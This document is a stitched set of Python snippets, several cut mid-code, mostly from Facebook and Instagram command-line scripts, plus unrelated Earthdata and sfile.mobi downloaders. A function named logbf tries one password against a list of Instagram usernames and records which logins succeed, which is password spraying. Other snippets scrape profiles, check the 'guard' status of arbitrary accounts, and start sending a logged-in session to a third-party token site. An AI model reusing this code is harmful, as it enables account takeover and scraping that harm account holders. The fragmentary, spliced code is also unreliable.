def feed(): try: open('.kuki') except: login() s = requests.Session() s.cookies = cj('.kuki') s.cookies.load() cek = s.get('https://www.instagram.com') b = bs(cek.text,'html.parser') for script in b.find_all('script'): if "window.__additionalDataLoaded(" in str(script): feed = re.findall(r"\'feed',(.*?)\);</script>",str(script)) feed = feed[0] j = json.loads(feed) for i in j['user']['edge_web_feed_timeline']['edges']: j=i['node']['owner'] id = j['id'] name = j['full_name'] uname = j['username'] for txt in i['node']["edge_media_to_caption"]['edges']: capt = txt['node']['text'] print(f''' {l6}Name :{l5} {name} (@{uname}) {l6}ID : {l5}{id} {l6}Capt : {l0}{capt} {l6}{"#"*40}\n''')
def ceksing(id): print(f'{lg}get {id} info..') s.cookies = cj('kuki.txt') s.cookies.load() r = s.get('https://mbasic.facebook.com/' + id).text b = bs(r, 'html.parser') name = b.find('title').text # if 'Facebook' or 'tidak ' in str(name): # print('Invalid user') # exit() if True: print(f'{lg}User profile name : {lx}{name}') print(f'{lg}Checking the {name} guard status..') for a in b.find_all('a'): if 'profile/picture/view/?' in str( a) or 'photo.php?' in str(a) and 'u_0' in str(a.get('id')): r = s.get('https://mbasic.facebook.com' + a.get('href')).text if 'https://static.xx.fbcdn.net/rsrc.php/v3/yN/r/' in str(r): status = 'Active' else: status = 'Inactive' print('Done !') print( f'{lg}Id : {lx}{id}\n{lg}Name :{lx} {name}\n{lg}Guard status : {lx} {status}{lx}' )
def logbf(uname): ig = 'https://www.instagram.com' log_ig = ig+'/accounts/login/ajax/' headers={'User-Agent':'Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'} s = requests.Session() s.cookies = cj('kuki') s.headers = headers s.headers.update({'Referer':ig}) r = s.get(ig) s.headers.update({'X-CSRFToken':r.cookies['csrftoken']}) data = {'username':uname,'password':pw} login = s.post(log_ig,data=data,allow_redirects=True) s.headers.update({'X-CSRFToken':login.cookies['csrftoken']}) j = json.loads(login.text) if 'fr' in j: print(l3+uname+l2+' Success'+l0) succ.append(uname) elif 'two_factor_required' in j: print(l6+uname + l4+' Two factor Authentification') tf.append(uname) else: print(l6+uname+l1+ ' Failed'+l0)
def login(): id = input(f'{l6}Email/username:{l0} ') pw = input(f'{l6}Password:{l0} ') ig = 'https://www.instagram.com' log_ig = ig+'/accounts/login/ajax/' headers={'User-Agent':'Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'} s = requests.Session() s.cookies = cj('.kuki') s.headers = headers s.headers.update({'Referer':ig}) r = s.get(ig) s.headers.update({'X-CSRFToken':r.cookies['csrftoken']}) data = {'username':id,'password':pw} login = s.post(log_ig,data=data,allow_redirects=True) s.headers.update({'X-CSRFToken':login.cookies['csrftoken']}) j = json.loads(login.text) if 'fr' in j: print(f'{l5}Login success. ') s.cookies.save() elif 'two_factor_required' in j: print(f' {l5}Two factor Authentification\nTurn off it and try again') else: print(f'{l5}Login Failed')
def login(mail, pw): s.cookies = cj('kuki.txt') data = {'email': mail, 'pass': pw} r = s.post('https://mbasic.facebook.com/login', data=data) if 'm_sess' in r.url or 'save-device' in r.url: s.cookies.save() elif 'checkpoint' in r.url: print('Checkpoint session') exit() else: print('Check the username/password') exit()
def get_request_kwargs(timeout, useragent, proxies, headers): """This Wrapper method exists b/c some values in req_kwargs dict are methods which need to be called every time we make a request """ return { 'headers': headers if headers else {'User-Agent': useragent}, 'cookies': cj(), 'timeout': timeout, 'allow_redirects': True, 'proxies': proxies }
def download(url, des, overwrite=False, username='******', password='******'): """ Download and save a file from ftp Args: url (str): the link to the file des (str): destination to save the file overwrite (bool): overwrite or not username (str): username password (str): password Returns: 0: successful 1: error due to des 2: error due to url """ # check if file already exists if (not overwrite) and os.path.isfile(des): log.warning('{} already exists.'.format(des.split('/')[-1])) return 1 # download file try: if not username == 'NA' and not password == 'NA': pw_manager = urllib.HTTPPasswordMgrWithDefaultRealm() pw_manager.add_password(None, "https://urs.earthdata.nasa.gov", username, password) cookie_jar = cj() opener = urllib.build_opener( urllib.HTTPBasicAuthHandler(pw_manager), urllib.HTTPCookieProcessor(cookie_jar)) urllib.install_opener(opener) req = urllib.Request(url) response = urllib.urlopen(req) except: log.error('{}...failed.'.format(url)) return 2 else: with open(des, 'wb') as f: while True: data = response.read(cons.CHUNK) if not data: break else: f.write(data) # complete download log.info('{}...completed.'.format(url.split('/')[-1])) # done return 0
def checkmas(id): s.cookies = cj('kuki.txt') s.cookies.load() r = s.get('https://mbasic.facebook.com/' + id).text b = bs(r, 'html.parser') name = b.find('title').text for a in b.find_all('a'): if 'profile/picture/view/?' in str( a) or 'photo.php?' in str(a) and 'u_0' in str(a.get('id')): r = s.get('https://mbasic.facebook.com' + a.get('href')).text if 'https://static.xx.fbcdn.net/rsrc.php/v3/yN/r/' in str(r): print(f'{lx}[{lg}{id}{lx}] {name} : {lg}Active{lx}') else: print(f'{lx}[{lg}{id}{lx}] {name} : {lr}Inactive{lx}')
# Copyright: Ramadhan # Ask me on Telegram: t.me/Ramadhan # rebuild copyright can't make u real programmer :) from requests import * from bs4 import BeautifulSoup as bs from http.cookiejar import LWPCookieJar as cj from json import * import re, sys s = Session() s.cookies = cj('kuki') def login(): # input data u = input('Username : '******'Password : '******'Login..') data = {'email': u, 'pass': p} # generate cookies. r = s.post('https://mbasic.facebook.com/login', data=data) if 'm_sess' in r.url: s.cookies.save() print('session oke') # generate token r = get( bs( post('https://yolikers.com/tokenmess.php', data={
(https://t.me/CRABS_ID) ''' from requests import * from bs4 import BeautifulSoup as bs from http.cookiejar import LWPCookieJar as cj import re, os, sys lx = '\033[0m' lr = '\033[91m' lg = '\033[92m' la = '\033[90m' s = Session() s.cookies = cj('kuki.txt') url = 'https://mbasic.facebook.com' def login(id, pw): data = {'email': id, 'pass': pw} r = s.post('https://mbasic.facebook.com/login', data=data) if 'm_ses' in r.url or 'save-device' in r.url: s.cookies.save() print('loged in !') elif 'checkpoint' in r.url: print('checkpoint session') exit() else: print('check the username/password !') exit()
# author : alfianokt # date : 20/06/2019 # name : sfiledw # desc : download file di sfile.mobi lewat cli # git : https://github.com/alfianokt/sfiledw from requests import * from http.cookiejar import LWPCookieJar as cj s = Session() s.cookies = cj('sfile.log') # fungsi ini untuk mengambil nilai tengah def spliter(va, vb, vc): vd = vc.split(va)[1] vd = vd.split(vb)[0] return vd def sfileGrab(url): # setting custom headers headers = { 'Host': 'sfile.mobi', 'User-Agent': 'MohGila', 'Referer': url, 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'dnt': '1', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',